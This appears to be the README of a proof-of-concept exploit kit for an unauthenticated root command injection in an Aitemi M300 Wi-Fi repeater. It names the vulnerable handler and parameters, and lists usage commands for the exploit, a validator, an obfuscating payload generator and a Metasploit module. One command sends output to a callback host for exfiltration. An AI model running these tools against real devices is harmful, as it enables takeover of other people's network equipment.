
PoC tools for CVE-2026-58457: Unauthenticated OS Command Injection leading to remote root on Shenzhen Aitemi M300 Wi-Fi Repeater (MT02). Includes exploit, validator, payload generator, and Metasploit module. For educational and authorized pentesting only.
[!WARNING] This code is provided AS IS for educational and research purposes only. Do not use this PoC on production systems, shared environments, or any unauthorized targets.
- Running or hosting this code may trigger antivirus detections, security monitoring alerts, or legal consequences if misused.
- The authors and repository maintainers assume no liability for any damage, misuse, or illegal activity resulting from this code.
- Use exclusively in isolated lab environments with proper authorization. Intended for defensive research, vulnerabilityf analysis, and blue-team testing only.
An unauthenticated OS command injection vulnerability exists in the smacfilter_conf handler. The name, enable, and mac GET parameters are passed unsanitized into a sprintf() call that constructs UCI commands executed as root.
poc.py - Full-featured exploit with HTTPS support, retries, timeout, and callback exfiltration.val.py - Safe, passive vulnerability validator (uses harmless id command).gen.py - Advanced payload generator with multiple obfuscation techniques.MITIGATIONS.md - Recommended defensive measures.exploit/ directory.pip install requests
python3 val.py --target 192.168.1.100
python3 poc.py --target 192.168.1.100 --cmd "id"
python3 poc.py --target 192.168.1.100 --cmd "id" --callback http://your-ip:8080/
python3 gen.py -c "id" -n 10
cp ./aitemi_m300_smacfilter_rce.rb ~/.msf4/modules/exploits/linux/http/
# or the main MSF path: /usr/share/metasploit-framework/modules/exploits/linux/http/
msfconsole -q -x "reload_all"
Stars and contributions welcome - especially improvements to bypasses or additional firmware variants.